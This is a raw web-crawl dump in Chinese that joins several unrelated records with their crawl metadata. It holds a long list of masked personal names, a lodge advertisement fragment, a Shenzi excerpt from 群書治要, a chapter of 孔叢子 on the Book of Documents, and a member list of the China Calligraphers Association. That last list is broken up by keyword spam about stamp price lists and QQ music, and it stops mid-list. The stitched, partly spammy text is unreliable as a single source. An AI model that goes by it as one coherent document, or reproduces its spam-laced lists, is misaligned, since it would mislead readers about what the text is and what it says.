簡O村 潘O裕 潘O妤 潘O虹 陳O宜 林O寧 張O雯 李O澐 陳O泰 李O齊 吳O芬 李O純 李O逸 陳O安 秦O謙 沈O緯 李O龍 盧O宇 江O俊德 江O政廷 李O勝 顏O慧 黃O雄 洪O萱 洪O臺 劉O萍 張O倫 丁O希 邱O枝 謝O純 楊O元 周O君 王O慈 林O毅 游O傑 王O閔 潘O宏 仁O儒 吳O政 黃O鴻 張O穎 羅O珅 邱O鈞 李O翬 姜O之 梁O君 羅O尹 湯O萱 黃O真 謝O玲 李O萍 江O文 謝O瑜 連O懿 劉O鑫 黃O愷 王O怡 郭O青 黃O華 梁O宏 蘇O峯 齊O澄 何O惠 王O惠 張O銓 林O錦 張O豪 卓O秋 陳O娟 陳O祐 黃O娟 林O燕 吳O廷 黃O純 謝O敏 黃O花 李O威 翁O君 翁O凰 翁O財 蔡O文 AOdrew Bushnell 陳O佑 鐘O中 陳O穎 林O玲 鄭O 王O涵 洪O華 鄭O怡 王O鈴 劉O強 唐O中 許O杰 吳O芸 簡O訓 林O生 李O純 陳O琪 O宜君 蔡O勳 嚴O華 鄭O鑫 蕭O隆 陳O新 李O安 鄭O倫 何O華 林O展 林O政 林O與 李O芬 葉O陞 蔡O蘭 王O慧 陳O慧 劉O宏 詹O淇 許O慧 陳O成 陳O娟 蔡O儐 張O瑋 莊O瑜 陳O澄 陳O霖 許O禎 劉O逸 彭O璟 劉O成 王O傑 潘O琪 黃O晉 蔡O虹 劉O龍 洪O仁 徐O宇 王O安 楊O儒 郵O先生劉家宏 魯O航 李O成 BOtty 林O龍 林O彤 林O萍 陳O輝 陳O琪 陳O伶 徐O宏 曾O文 黃O廸 張O岳 賴O書 熊O煉 曾O仕 王O臻 曾O耀 劉O廷 許O鈴 黃O益 吳O寰 王O輝 侯O茂 劉O雯 高O志 吳O儒 詹O惠 陳O美 廖O慧 郭O芬 鄭O煬 温O峯 江O惠 楊O雲 楊O麗 彭O娥 莊O芬 葉O宏 蔡O津 黃O渝 陶O任 陶O銘 陳O禮 呂O儀 王O淑 林O毅 劉O永 牛O東 羅O昌 王O耀 龔O棋 陳O榆 戴O峰 簡O裕 龔O棠 黃O豪 高O浩 張O青 陳O琴 李O臻 王O 李O恩 李O娟 侯O芳 陳O程 夏O鳳 張O陞 詹O慧 劉O儀 吳O怡 魏O嵐 鄭O瑛 陳O慈 鄭O宜 陳O分 羅O云 蘇O葳 劉O玉 呂O彥 陳O婕 杜O翰 任O瑋 陳O理 林O城 楊O英 柯O欣 樹ONO.1 秦O惠 林O琪 陳O荷 黃O泰 潘O全 許O榮 陳O澐 楊O瑾 許O坤 羅O凡 翁O惠 吳O庭 吳O謙 蔡O英 歐O芬 楊O珊 施O玲 鍾O慧 吳O緞 許O樺 陳O華 許O浩 朱O雯 賴O娣 林O俊 林O羽 林O瀚 潘O環 張O珍 趙O穎 梁O方 許O榆 郭O慈 邱O淳 許O建 王O英 蔡O穎 江O翰 陳O惠 陳O樺 陳O全 劉O暐 陳O荃 徐O彥 鍾O真 周O真 黃O彬 張O傑 曾O成 許O瑄 蘇O玲 陳O豪 劉O廷 劉O鈞 吳O誠 林O卿 蔡O君 劉O菲 周O玉 梁O涵 吳O柔 潘O英 沈O興 簡O杰 李O行 李O臣 劉O鳳 楊O雯 江O融 廖O廷 王O惠 楊O帆 李O哲 鄭O隆 宋O靜 陳O臻 陳O尹 吳O月 呂O諭 丁O威 邱O立 郭O閎 鄒O莛 楊O琪 蔡O聿 楊O昕 黃O緯 王O璿 曹O昕 蔡O勳 陳O慶 張O齊 簡O彥 曾O翔 楊O諺 胡O達 王O為 簡O勝 林O貞 莊O崑 成O 吳O薰 林O諭 曾O燁 李O翰 韋O蘭 陳O仁 高O庭 林O憲 蕭O元 李O杰 顏O吉 林O 李O哲 王O郁 賴O添 李O偉 陳O華 張O陽 邱O浩 谷O先 邱O舒 張O翰 黃O勝 郭O 林O崴 王O凡 張O綸 陳O庭 吳O菊 邱O凌 李O宜 蔡O文 郭O珠 余O榛 簡O恩 歐O正祐 唐O芳 黃O喬 林O穎 林O瑋 余O華 蔡O煌 江O珠 湯O清 周O宜 高O媛 徐O寧 趙O茹 林O惠 劉O河 朱O娟 林O琪 洪O容 李O雅 錢O玲 王O緒 謝O臻 洪O惠 謝O君 王O穎 洪O雅 朱O麗 游O珍 李O錚 陳O茹 溫O閎 余O勳 陳O富 林O宇 陳O穎 張O豪 林O華 徐O源 沈O凱 徐O廷 葉O超 温O甫 李O勳 林O貞 吳O珠 陳O裕 陸O臻 陳O宜 朱O儀 黃O芸 許O齡 劉O杰 黃O雅 陳O云 唐O汝 吳O璇 梁O慈 呂O慧 吳O潔 簡O馨 楊O瀞 李O勳 江O逸 陳O均 曾O綾 陳O雅 劉O芳 許O華 楊O儀 鄧O諠 侯O琪 李O涵 賴O尹 陳O希 黃O晴 李O鴻 陳O岑 涂O雯 牟O君 林O豪 林O芳 方O枝 王O真 吳O純 宋O羿 林O錡 林O儀 施O昌 莊O庭 陳O君 陳O靜 彭O佑 曾O彥 黃O綺 黃O瑩 廖O瑩 劉O麟 蕭O臻 薛O麒 謝O珊 張O麟 陳O名 吳O雅 徐O善 黃O堅 陳O婕 林O真 廖O全 邱O宗 林O登 鍾O庭 林O良 章O宁 潘O元 洪O傑 林O偉 羅O婷 林O熹 馮O慧 喻O春 賴O政 李O慈 陳O 陳O逸 郭O男 郭O安 郭O綸 陳O傑 陳O蓉 陳O綱 陳O霖 陳O龍 陳O澄 劉O良 劉O君 陳O夷 石O金 林O成 吳O鈴 葉O裡 龔O梅 廖O軒 林O雲 蔡O秀 王O珠 洪O穗 溫O福 高O恩 林O青 陳O民 古O琴 王O枝 劉O足 張O宸 洪O科 李O春 蔡O緯 李O庭 李O凰 劉O蘭 吳O暖 吳O治 倪O玉 易O怡 李O璇 黃O玲 黃O韵 倪O德 周O芬 蕭O文 沈O哲 劉O茹 李O華 李O倫 姜O仁 楊O宣 林O欣 曾O琪 陳O同 江O 陳O琪 賴O志 林O名 劉O鈞 林O君 黃O文 黃O元 黃O毓 吳O浩 楊O弘 劉O賓 曾O緯 程O傑 林O豪 江O恒 林O佑 廖O偉 姚O昌 林O建 李O瑩 張O年 伍O瑩 李O睿 楊O雯 顏O儀 陳O皓 連O慈 劉O蘭 許O錫 王O文 周O勇 丁O益 馬O維 王O淳 吳O珠 潘O玲 黃O娟 洪O珍 林O璋 洪O麗 卓O鴻 蔣O女 王O宇 方O嬌 張O民 吳O奇 戴O秀 吳O育 蔡O芳 施O珍 鄭O蓉 蔡O汝 楊O君 鄭O琦 鄭O琦 毛O潔 洪O琴 許O方 蔡O嬌 鄒O華 石O鈞 林O霈 黎O志 黃O斌 謝O旭 洪O佑 陳O滿 林O翔 曾O金美 曾O基 劉O鳳 林O萱 廖O軒 施O庭 曾O輔 吳O真 楊O貞 林O渼 林O慧 黃O宥 陳O潔 楊O賢 陳O宇 吳O融 吳O承 黃O濱 宋O綾 吳O瑄 陳O渝 陳O慈 徐O鴻 劉O宏 石O珍 高O子 葉O秀 王O齡 邱O玲 陳O花 郭O英 楊O艶 劉O姈 劉O瑞 陳O誠 鄭O文 張O迪 莊O欽 吳O妤 吳O翰 謝O正 朱O芳 林O憙 關O嘉 徐O安 詹O月 陳O靜 蘇O鴻 李O旭 洪O慧 林O惠 陳O臻 趙O宏 陳O璇 鍾O遠 鍾O頡 蔡O妤 蘇O凱 黃O姬 郭O香 洪O蓁 郭O美 陳O純 林O靜 蔡O喬 許O華 吳O謙 王O茜 陳O宏 劉O君 黃O娟 林O吉 張O妮 陳O柏 王O馨 吳O君 張O昌 張O萱 李O涵 張O薰 郭O紅 王O珉 郭O承 吳O武 張O蓉 張O瑜 陳O臻 陳O文 王O彥 林O芬 李O梅 張O玲 洪O芬 李O海 李O寶冠 邱O美 鄒O玲 李O忻 黃O華 李O杯 陳O美 潘O儀 吳O淨 吳O瑜 李O暟 杜O霞 林O庭 吳O嫣 陳O秀 陳O美 葉O琴 李O穎 林O嬇 陳O君 洪O枝 李O葦 邱O鷹 陳O均 王O縈 蘇O安 陳O 許O瑋 王O明 林O萱 黃O蜜 林O明 董O強 陳O芳 葉O寧 姜O錡 甘O珊 黃O星 李O珍 王O惟 林O華 楊O煌 林O宣 楊O雲 林O華 張O枝 林O蓁 汪O禾 蔡O蘭 馮O娟 徐O柔 王O娟 余O琴 曹O萍 林O梅 蔡O英 陳O君 李O怡 許O貞 李O憲 郭O鐘 沈O慧 林O智 王O鳳 許O月 邱O程 張O 陳O群 林O潔 尤O嘉 陳O庭 林O怡 廖O娟 虞O華 王O璇 羅O偉 羅O成 羅O和 羅O鴻 曾O銘 莊O遠 陳O彤 陳O弘 許O菊 王O喬 黃O徽 許O琴 王O珍 吳O蘭 李O霞 朱O雰 謝O枝 施O貞 蔡O芬 馬O蓮 陳O華 黃O娟 林O俊 廖O月 陳O潔 簡O挺 陳O雯 王O宇 謝O晏 曾O穎 洪O鈞 陳O凱 王O雅 黃O美 陳O旬 唐O嚀 龍O蓁 歐O采青 羅O霖 江O帆 賴O鴻 黃O真 曾O楟 單O勝 沈O玟 戴O宇 江O毅 陳O廷 劉O山 李O模 李O靜 吳O涵 謝O智 廖O仲 賴O德 郭O萁 郭O君 徐O 郭O枝 蔡O華 陳O佑 劉O嘉 李O傑 李O勳 蔡O翔 洪O甯 林O倫 游O旻 潘O慧 許O新 李O興 陳O燕 劉O勳 劉O若 尤O鈴 徐O展 張O銘 王O笙 張O晟 蔡O辰 侯O勳 潘O隆 王O珠 林O琪 陳O雯 張O誠 陳O平 陳O宇 葉O廷 楊O勝 江O螢 黃O慧 劉O群 徐O 藍O筠 蘇O仁 李O真 楊O歆 許O萱 陳O惠 王O玲 李O祚 王O雯 黃O臻 張O美 陳O珍 張O如 張O文 張O芳 柯O妤 溫O姬 張O鳳 張O翔 蘇O怡 廖O妤 鍾O宇 黃O珍 黃O惠 黃O娜 陳O志 陳O良 張O喻 張O庭 陳O送 陳O暉 莊O鑫 徐O鴻 黃O尹 梁O樺 黃O營 黃O秀靜 黃O儒 邱O權 邱O穎 吳O芬 王O蓁 劉O慶 羅O河 梁O馨 李O棠 林O婷 汪O育 高O卿 陳O宇 曾O順 鄭O豐 翁O賢 林O燁 林O雄 李O燕 黃O莉 謝O嫦 黃O傑 王O君 葉O龍 林O萍 楊O得 項O恩 莊O忠 莊O榆 王O菊 蕭O亞 鄒O民 黃O婕 黃O葳 許O勳 胡O欣 湯O凱 郭O芸 王O璇 許O楨 莊O惠 陳O吉 鄭O陞 張O聲 黃O雯 游O勳 許O翔 陳O貞 黃O芬 葉O杰 謝O宏 郭O慈 張O誠 邱O誼 李O蓁 劉O均 胡O媙 劉O曙 許O祥 陶O 陳O紘 陳O港 林O臻 董O惠 植O蓮 王O凌 馮O華 趙O忠 吳O書 張O榮 沈O基 陳O祥 李O益 鄒O志 潘O暉 關O杰 陳O伶 施O賢 張O中 顧O駿 郭O豪 陳O吾 蔡O桓 汪O君 楊O珍 陳O菲 何O齡 林O楊 徐O文 黃O勳 王O民 饒O豪 陳O壕 林O峰 黃O雯 許O芸 黃O明 周O 楊O純 徐O友 林O彥 陳O豐 蕭O新 陳O萍 傅O翔 鄭O釩 陸O 馬O慧 莊O邦 葉O君 張O正 陳O彬 薛O玲 林O毅","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/www.sklf.org.tw\/20180629_detail.html","date":"2019-06-18T11:07:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998716.67\/warc\/CC-MAIN-20190618103358-20190618125358-00361.warc.gz","language":"lzh","language_score":0.8236213923,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.823621392250061, \"nan_Hani_score\": 0.14579561352729797, \"yue_Hani_score\": 0.0193839892745018, \"cmn_Hani_score\": 0.011191860772669315}","num_words":4780,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.724,"perplexity_score":500.0,"cluster_detection":-1} +{"text":".\n唯一官網\n特 色 行 館 \/ 當 代 藝 術 \/ 文 物\n展 覽 \/ 渡 假 樹 屋 .古 厝 \/ 焉 之 廚\n特 色 行 館 \/\n體 驗 遺 世 山 居 樹 屋 . 行 人 文 藝 術\n自 助 之 旅 .\n有 別 於 都 市 旅 店","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/ienarts.com\/lodge.html","date":"2023-12-08T12:06:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100745.32\/warc\/CC-MAIN-20231208112926-20231208142926-00661.warc.gz","language":"lzh","language_score":0.9113025069,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.9113025069236755, \"yue_Hani_score\": 0.05021686851978302, \"cmn_Hani_score\": 0.03847646340727806}","num_words":50,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.563,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.911,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"申 子\n群書治要卷三十六\n大 體\n夫一婦擅夫。衆婦皆亂。一臣專君。群臣皆蔽。故妒妻不難破家也。亂臣不難破國也。是以明君使其臣并進輻凑。莫得專君。\n今人君之所以高爲城郭用謹門閭之閉者。爲寇戎盗賊之至也。今夫弒君而取國者。非必逾城郭之險而犯門閭之閉也。蔽君之明。塞君之聽。奪之政而專其令。有其民而取其國矣。\n今使烏獲、彭祖負千鈞之重。而懷琬琰之美。令孟賁、成荊帶干將之劍衞之。行乎幽道。則盗猶偷之矣。今人君之力。非賢乎烏獲、彭祖。而勇非賢乎孟賁、成荊也。其所守者非恃琬琰之美、千金之重也。而欲勿失。其可得耶。\n明君如身。臣如手。君若號。臣如響。君設其本。臣操其末。君治其要。臣行其詳。君操其柄。臣事其常。爲人臣者。操契以責其名。名者。天地之綱。聖人之符。張天地之綱。用聖人之符。則萬物之情。無所逃之矣。\n故善爲主者倚於愚。立於不盈。設於不敢。藏於無事。竄端匿疏。示天下無爲。是以近者親之。遠者懷之。示人有餘者人奪之。示人不足者人與之。剛者折。危者覆。動者摇。静者安。名自正也。事自定也。是以有道者自名而正之。隨事而定之也。鼓不與於五音。而爲五音主。有道者不爲五官之事。而爲治主。君知其道也。官人知其事也。十言十當。百爲百當者。人臣之事。非君人之道也。\n昔者堯之治天下也以名。其名正則天下治。桀之治天下也亦以名,其名倚而天下亂。是以聖人貴名之正也。主處其大。臣處其細。以其名聽之。以其名視之。以其名命之。鏡設精。無爲而美惡自備。衡設平。無爲而輕重自得。凡因之道。身與公無事。無事而天下自極也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022054.html","date":"2017-04-24T03:32:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00589-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5828313231,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5828313231468201, \"cmn_Hani_score\": 0.2648465037345886, \"nan_Hani_score\": 0.08304361999034882, \"jpn_Jpan_score\": 0.03606497123837471, \"wuu_Hani_score\": 0.012890569865703583}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.589,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"欢迎访问本站。\n|论 书 第 二\n\n\n子 张 问 曰 、 圣 人 受 命 必 受 诸 天 而 书 云 受 终 于 文 祖 . 何 也 . 孔 子 曰 、 受 命 于 天 者 . 汤 武 是 也 . 受 命 于 人 者 . 舜 禹 是 也 . 夫 不 读 诗 书 易 春 秋 则 不 知 圣 人 之 心 . 又 无 以 别 尧 舜 之 禅 汤 武 之 伐 也 .\n子 张 问 曰 、 礼 丈 夫 三 十 而 室 . 昔 者 舜 三 十 征 庸 . 而 书 云 有 鳏 在 下 曰 虞 舜 何 谓 也 . 曩 师 闻 诸 夫 子 曰 、 圣 人 在 上 . 君 子 在 位 . 则 内 无 怨 女 . 外 无 旷 夫 . 尧 为 天 子 而 有 鳏 在 下 . 何 也 . 孔 子 曰 夫 男 子 二 十 而 冠 . 冠 而 后 娶 . 古 今 通 义 也 . 舜 父 顽 母 嚚 . 莫 克 图 室 家 之 端 焉 . 故 逮 三 十 而 谓 之 鳏 也 . 诗 云 娶 妻 如 之 何 、 必 告 父 母 、 父 母 在 则 宜 图 婚 . 若 巳 殁 则 巳 之 娶 必 告 其 庙 . 会 舜 之 鳏 . 乃 父 母 之 顽 嚚 也 . 虽 尧 为 天 子 . 其 如 舜 何 .\n子 夏 问 书 大 义 . 子 曰 吾 于 帝 典 、 见 尧 舜 之 圣 焉 于 大 禹 、 皋 陶 谟 、 益 稷 、 见 禹 稷 皋 陶 之 忠 勤 功 勋 焉 . 于 洛 诰 、 见 周 公 之 德 焉 . 故 帝 典 可 以 观 美 . 大 禹 谟 禹 贡 可 以 观 事 . 皋 陶 谟 益 稷 可 以 观 政 . 洪 范 可 以 观 度 . 谓 皇 极 彝 伦 之 度 秦 誓 可 以 观 义 . 五 诰 可 以 观 仁 . 甫 刑 可 以 观 诫 . 通 斯 七 者 . 则 书 之 大 义 举 矣 . 孔 子 曰 、 书 之 于 事 也 . 远 而 不 阔 . 近 而 不 迫 . 志 尽 而 不 怨 . 辞 顺 而 不 ? . 吾 于 高 宗 肜 日 、 见 德 有 报 之 疾 也 . 茍 由 其 道 致 其 仁 . 则 远 方 归 志 而 致 其 敬 焉 . 吾 于 洪 范 、 见 君 子 之 不 忍 言 人 之 恶 而 质 人 之 美 也 . 发 乎 中 而 见 乎 外 以 成 文 者 . 其 唯 洪 范 乎 .\n子 张 问 曰 、 尧 舜 之 世 . 一 人 不 刑 而 天 下 治 . 何 则 . 以 教 诚 而 爱 深 也 . 龙 子 以 为 一 夫 而 被 以 五 刑 敢 问 何 谓 . 子 曰 不 然 五 刑 所 以 佐 教 也 . 龙 子 未 可 谓 能 为 书 也 .\n子 夏 读 书 既 毕 而 见 于 夫 子 . 夫 子 谓 曰 子 何 为 于 书 . 子 夏 对 曰 书 之 论 事 也 . 昭 昭 然 若 日 月 之 代 明 . 离 离 然 若 星 辰 之 错 行 . 上 有 尧 舜 之 道 . 下 有 三 王 之 义 . 凡 商 之 所 受 书 于 夫 子 者 . 志 之 于 心 弗 敢 忘 . 虽 退 而 穷 居 河 济 之 间 . 深 山 之 中 . 作 壤 室 . 编 蓬 户 . 常 于 此 弹 琴 以 歌 先 王 之 道 . 则 可 以 发 愤 慷 喟 忘 巳 贫 贱 . 故 有 人 亦 乐 之 . 无 人 亦 乐 之 . 上 见 尧 舜 之 德 . 下 见 三 王 之 义 . 忽 不 知 忧 患 与 死 也 . 夫 子 愀 然 变 容 . 曰 嘻 . 子 殆 可 与 言 书 矣 . 虽 然 . 其 亦 表 之 而 巳 未 睹 其 里 也 . 夫 窥 其 门 而 不 入 其 室 . 恶 睹 其 宗 庙 之 奥 百 官 之 美 乎 .\n宰 我 问 书 云 纳 于 大 麓 烈 风 雷 雨 弗 迷 . 何 谓 也 . 孔 子 曰 、 此 言 人 事 之 应 乎 天 也 . 尧 既 得 舜 . 历 试 诸 难 . 巳 而 纳 之 于 尊 显 之 宫 . 使 大 录 万 机 之 政 . 是 故 阴 阳 清 和 . 五 星 不 悖 . 烈 风 雨 各 以 其 应 . 不 有 迷 错 愆 伏 . 明 舜 之 行 合 于 天 也 .\n宰 我 曰 、 敢 问 禋 于 六 宗 何 谓 也 . 孔 子 曰 、 所 宗 者 六 . 皆 洁 祀 之 也 . 埋 少 牢 于 九 昭 . 所 以 祭 时 也 . 祖 迎 于 坎 坛 . 所 以 祭 寒 暑 也 . 主 于 郊 宫 . 所 以 祭 时 也 . 夜 明 所 以 祭 月 也 . 幽 荥 所 以 祭 星 也 . 雩 荥 . 所 以 祭 水 旱 也 . 禋 于 六 宗 . 此 之 谓 也 .\n书 曰 、 兹 予 大 享 于 先 王 尔 祖 其 从 与 享 之 . 季 桓 子 问 曰 、 此 何 谓 也 . 孔 子 曰 、 古 之 王 者 . 臣 有 大 功 . 死 则 必 祀 之 于 庙 . 所 以 殊 有 绩 劝 忠 勤 也 . 盘 庚 举 其 事 以 厉 其 世 臣 故 称 焉 . 桓 子 曰 、 天 子 之 臣 有 大 功 者 . 则 既 然 矣 . 诸 侯 之 臣 有 大 功 者 . 可 以 如 之 乎 . 孔 子 曰 劳 能 定 国 . 功 加 于 民 . 大 臣 死 难 . 虽 食 之 公 庙 可 也 . 桓 子 曰 、 其 位 次 如 何 . 孔 子 曰 、 天 子 诸 侯 之 臣 . 生 则 有 列 于 朝 . 死 则 有 位 于 庙 其 序 一 也 .\n书 曰 、 维 高 宗 报 上 甲 微 . 上 甲 微 契 后 八 世 汤 之 先 也 定 公 问 曰 、 此 何 谓 也 . 孔 子 对 曰 、 此 谓 亲 尽 庙 毁 有 功 而 不 及 祖 . 有 德 而 不 及 宗 . 故 于 每 岁 之 大 尝 而 报 祭 焉 . 所 以 昭 其 功 德 也 . 公 曰 先 君 僖 公 功 德 前 行 . 或 作 前 列 可 以 与 于 报 乎 . 孔 子 曰 丘 闻 昔 虞 夏 商 周 、 以 帝 王 行 此 礼 者 则 有 矣 . 自 此 以 下 . 未 之 知 也 .\n定 公 问 曰 、 周 书 所 谓 庸 庸 祗 祗 威 威 显 民 . 何 谓 也 . 孔 子 对 曰 、 不 失 其 道 . 明 之 于 民 之 谓 也 . 大 能 用 可 用 则 正 治 矣 . 敬 可 敬 则 尚 贤 矣 . 畏 可 畏 则 服 刑 恤 矣 . 君 审 此 三 者 以 示 民 . 而 国 不 兴 . 未 之 有 也 .\n子 张 问 书 云 奠 高 山 . 何 谓 也 . 孔 子 曰 、 高 山 五 岳 . 定 其 差 秩 . 祀 所 视 焉 . 子 张 曰 其 礼 如 何 . 孔 子 曰 、 牲 币 之 物 . 五 岳 视 三 公 . 小 名 山 视 子 男 . 子 张 曰 、 仁 者 何 乐 于 山 . 孔 子 曰 夫 山 者 岿 然 高 . 子 张 曰 、 高 则 何 乐 尔 . 孔 子 曰 、 夫 山 、 草 木 植 焉 . 鸟 兽 蕃 焉 . 财 用 出 焉 . 直 而 无 私 焉 . 四 方 皆 伐 焉 . 直 而 无 私 . 兴 吐 风 云 . 以 通 乎 天 地 之 间 . 阴 阳 和 合 . 雨 露 之 泽 . 万 物 以 成 . 百 姓 咸 飨 . 此 仁 者 之 所 以 乐 乎 山 也 .\n孟 懿 子 问 书 曰 、 钦 四 邻 . 何 谓 也 . 孔 子 曰 、 王 者 前 有 疑 、 后 有 丞 、 左 有 辅 、 右 有 弼 、 谓 之 四 近 . 言 前 后 左 右 近 臣 当 畏 敬 之 . 不 可 以 非 其 人 也 . 周 文 王 胥 附 奔 辏 先 后 御 侮 谓 之 四 邻 . 以 免 乎 羑 里 之 害 . 懿 子 曰 、 夫 子 亦 有 四 邻 矣 . 孔 子 曰 、 吾 有 四 友 焉 . 自 吾 得 回 也 . 门 人 加 亲 是 非 胥 附 乎 . 自 吾 得 赐 也 . 远 方 之 士 日 至 是 非 奔 辏 乎 . 自 吾 得 师 也 . 前 有 光 后 有 辉 是 非 先 后 乎 . 自 吾 得 仲 由 也 . 恶 言 不 至 于 门 是 非 御 侮 乎 . 孔 子 见 齐 景 公 . 梁 丘 据 自 外 而 至 . 公 曰 何 迟 . 对 曰 陈 氏 戮 其 小 臣 . 臣 有 辞 . 为 是 故 迟 . 公 笑 而 目 孔 子 . 曰 周 书 所 谓 明 德 慎 罚 . 陈 子 明 德 也 . 罚 人 而 有 辞 . 非 不 慎 矣 . 孔 子 答 曰 、 昔 康 叔 封 卫 . 统 三 监 之 地 . 命 为 孟 侯 . 周 公 以 成 王 之 命 作 康 诰 焉 . 称 述 文 王 之 德 . 以 成 敕 诫 之 文 . 其 书 曰 惟 乃 丕 显 考 文 王 . 克 明 德 慎 罚 . 克 明 德 者 . 能 显 用 有 德 举 而 任 之 也 . 慎 罚 者 并 心 而 虑 之 . 众 平 然 后 行 之 . 致 刑 错 也 . 此 言 其 所 任 不 失 德 . 所 罚 不 失 罪 不 谓 巳 德 之 明 也 . 公 曰 寡 人 不 有 过 言 . 则 安 得 闻 吾 子 之 教 也 .\n书 曰 其 在 祖 甲 不 义 惟 王 . 公 西 赤 曰 闻 诸 晏 子 、 汤 及 太 甲 、 武 丁 、 祖 乙 、 天 下 之 大 君 .\n感谢您访问本站。","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.ldbj.com\/kongcongzi\/kongcongzi_02.htm","date":"2022-10-02T10:08:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337307.81\/warc\/CC-MAIN-20221002083954-20221002113954-00634.warc.gz","language":"lzh","language_score":0.993943274,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9939432740211487}","num_words":1709,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.57,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"您當前的位置:主頁 >古玩行情 > 網站首頁古玩行情\n中邦書法家協會會員名單 要最新的郵票價格表\n可選中1個或多個下面的樞紐詞,查找聯系原料。也可直接點\"查找原料\"查找全面題目。\n經中國書法家協會秘書長辦公聚會審核,并報經分黨組答應,2007年核準列入中國書法家協會會員共1141人。名單如下?\n梁治國 楊 雍 孔繁敬 徐正德 張文甫 吳正前 姜守垣 白 銳 馮立松 李毅強。古玩行情\n孟淑英 張志國 霍開國 魏元祥 趙一唐 杜征麟 陳東昱 周曉陸 史麗薇 冷萬里?\n汪 良 李修春 李長泉 李永忠 陳 友 黃吳懷 陳 明 張振生 趙遠強 張孝勇?\n蘭 娥 鄭啟超 龔 文 馬大德 李 永 李宇平 李秀娟 陳白羽 顏以琳 羊 炯?\n馬耀信 檀幼光 張 卓 韓玉臣 高 飛 劉劍馗 徐創設 馬 軍 劉國強 王素芬。\n郭 陽 丁修強 揚勝寶 趙鴻昌 侯 猛 謝 軍 王羲吾 齊 含 張 征 張僳華!\n林槐森 張占軍 丁志勇 李崢嶸 劉曉霞 孫宏大 陳瑞謙 陶殿甲 王 濤 趙慧琳!\n高國勝 郭亞林 劉景義 李澤成 劉俊坡 王志海 曹旭軍 馮子平 楊國駿 李 勇!古代藏品,\n楊曉亮 趙 毅 王 鵬 孫英力 楊 波 馬恒修 白振軍 劉京文 許元慶 戴啟和?\n馬俊青 姜紅光 許 銳 薛珠峰 黃進明 張云崗 鄭景昉 高銀壽 郭秋林 李星元!\n趙 龍 張金富 張彩鋒 喬 雁 包星光 賀貴璽 耿澤峰 石月晨 云光中 劉世榮。\n黃海林 石 岱 李曉光 劉冠軍 馬云鵬 張洪祥 欒 波 李 暉 王運澤 李業明?\n孫福生 孫旭東 葉國俊 李 葵 趙靜良 劉 欣 孫萬民 孫萬軍 王云龍 趙文生?\n馬 琳 熊 東 孫克順 白 翎 孟令全 劉長華 厲 冬 熊潔英 李德剛 曲 堅?\n孫勝連 李 杰 劉 杰 張本平 宋世全 王 偉 辛 宏 王鵬江 郭興文 郭慶雪?\n曲志剛 邢日祥 李嘉國 胡 鑫 李惠斌 趙 馳 劉素娣 傅春來 李世忠 張志明?\n曹文武 李 丹 李 慧 閆冬雪 杜延平 程曉海 高成山 王 偉 劉恒毅 周少清!\n宋 雷 張 靚 王官平 許 晨 張永昌 孫麗華 楊幼林 黃 明 鄭長華 張新蕾。\n金澤珊 仲偉迅 周潤天 趙 峰 劉 成 宋治中 鄒 權 高月玲 單寶山 于亞非。郵票價格表\n石正君 魏景春 賈夢強 李義清 吳金龍 吳慶東 阮殿龍 張志良 常樹林 何樹嶺!\n馮懷根 劉東芹 胡光燦 朱友舟 鄭必厚 楊宏敏 釋奚白 李志勤 王修強 諸培弘。\n孫玉杰 武傳國 武寶民 王修偉 程 偉 龐現軍 許 達 盛詩瀾 陳幼新 陳 暉!紀念雷雨心qq音樂!\n楊伯芳 陸振永 惠聰穎 孫立志 張根喜 陳巧令 馬正君 盧海洲 戚散花 陳 清?\n劉 洪 鄭長安 陳 捷 郭向東 管敬澤 蔣雪蓮 宋 詠 陳 峰 潘 云 秦 ??!\n方修明 金艷平 謝 燕 邵 寧 姚光義 范永江 任貴書 侍少華 郭家高 蔡 寧!\n王 靜 韓修明 劉仲明 陳 修 張方舉 祁 斌 汪 超 葉華洲 吳修華 馮 勇。\n張修祥 劉 保 張一冰 姜蘇海 李德會 陳一農 黃志強 徐于群 徐 杰 吳宏亮。\n吳健華 王潤松 李世晉 顧曉燕 李耀中 肖公函 顧冬成 劉長云 鄧瑞清 韓滿陵?\n朱洪林 趙昌智 詹從俊 姜忠明 周亞賢 趙宏武 許能俊 孫志勇 劉家駿 高俊源。\n王 浩 劉 瑞 周澤波 張 峰 史永元 汪洋舟 吳麗明 尤靖希 翟天鵬 居麗琴?\n樓金輝 葉慧敏 邱紅日 劉宜珍 賀東祥 程文波 徐國強 陳養綠 黃修水 方林華!\n田一峰 費秋華 戴世成 胡迪權 袁修初 徐 清 吳戰堡 王 昕 何玉峰 徐 強?\n施華峰 錢林江 傳揚明 方艷艷 余久一 謝利疆 王瓊瑤 邱朝劍 巴利平 樓秋華?\n王澤玖 鄧志春 林曉林 張 